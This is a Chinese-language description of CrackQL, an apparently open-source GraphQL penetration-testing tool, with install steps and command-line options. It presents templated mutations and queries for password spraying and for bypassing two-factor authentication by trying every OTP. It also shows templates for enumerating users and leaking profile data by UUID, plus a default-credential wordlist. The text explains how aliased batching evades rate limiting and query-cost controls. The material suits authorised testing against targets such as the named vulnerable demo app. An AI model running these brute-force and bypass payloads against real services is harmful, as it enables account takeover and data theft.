CrackQL 是一款用于 GraphQL 密码暴力破解和模糊测试的实用工具。
CrackQL 是一款多功能的 GraphQL 渗透测试工具,它利用速率限制和成本分析控制的薄弱环节来暴力破解凭证并模糊测试操作。
CrackQL 通过将单个 GraphQL 查询或变更操作自动批处理成多个别名操作来工作。它根据 CSV 输入变量的数量确定要使用的别名数量。在以编程方式生成批处理后的 GraphQL 文档后,CrackQL 将有效载荷批处理并发送到目标 GraphQL API,然后解析结果和错误。
CrackQL 可广泛用于各种 GraphQL 攻击,因为它基于动态输入列表以编程方式生成有效载荷。
与 Burp Intruder 不同,后者为每个唯一有效载荷发送一次请求,而 CrackQL 通过使用多个别名查询将大量凭证集塞入单个 HTTP 请求中,从而规避传统的 API HTTP 速率限制监控防御。为了绕过查询成本分析防御,CrackQL 可以优化为使用一系列较小的批处理操作(-b)以及时间延迟(-D)。
CrackQL 非常适合针对利用带内 GraphQL 认证操作(如 GraphQL Authentication Module)的 GraphQL 部署。下面的密码喷洒示例可针对 DVGA 配合 sample-inputs/users-and-passwords.csv 字典运行。
mutation {
login(username: {{username|str}}, password: {{password|str}}) {
accessToken
}
}
可以使用 CrackQL 通过发送所有 OTP(一次性密码)令牌来绕过双因素认证。
sample-queries/otp-bypass.graphql
mutation {
twoFactor(otp: {{otp|int}}) {
accessToken
}
}
CrackQL 还可用于枚举攻击,以发现有效的用户 ID、用户名和电子邮件地址。
sample-queries/enumeration.graphql
query {
signup(email: {{email|str}}, password: {{password|str}}) {
user {
email
}
}
}
CrackQL 可用于迭代大量潜在唯一标识符,以泄露对象信息。
query {
profile(uuid: {{uuid|int}}) {
name
email
picture
}
}
CrackQL 可用于通用输入模糊测试操作,例如发送潜在的 SQLi 和 XSS 有效载荷。
CrackQL 将根据 CSV 文件定义的输入变量生成有效载荷。CrackQL 要求 CSV 标头与输入名称匹配。
sample-inputs/usernames_and_passwords.csv
username, password admin, admin admin, password admin, pass admin, pass123 admin, password123 operator, operator operator, password operator, pass operator, pass123 operator, password123
strintfloatgit clone [email protected]:nicholasaleks/CrackQL.git
pip install -r requirements.txt
python3 CrackQL.py -h
Usage: python3 CrackQL.py -t http://example.com/graphql -q sample-queries/login.graphql -i sample-inputs/usernames_and_passwords.csv
Options:
-h, --help show this help message and exit
-t URL, --target=URL Target url with a path to the GraphQL endpoint
-q QUERY, --query=QUERY
Input query or mutation operation with variable
payload markers
-i INPUT_CSV, --input-csv=INPUT_CSV
Path to a csv list of arguments (i.e. usernames,
emails, ids, passwords, otp_tokens, etc.)
-d DELIMITER, --delimiter=DELIMITER
CSV input delimiter (default: ",")
-o OUTPUT_DIRECTORY, --output-directory=OUTPUT_DIRECTORY
Output directory to store results (default:
./results/[domain]_[uuid]/
-b BATCH_SIZE, --batch-size=BATCH_SIZE
Number of batch operations per GraphQL document
request (default: 100)
-D DELAY, --delay=DELAY
Time delay in seconds between batch requests (default:
0)
--verbose Prints out verbose messaging
-v, --version Print out the current version and exit.
如果端点需要认证,可使用 config.py 设置 HTTP cookies、标头或代理。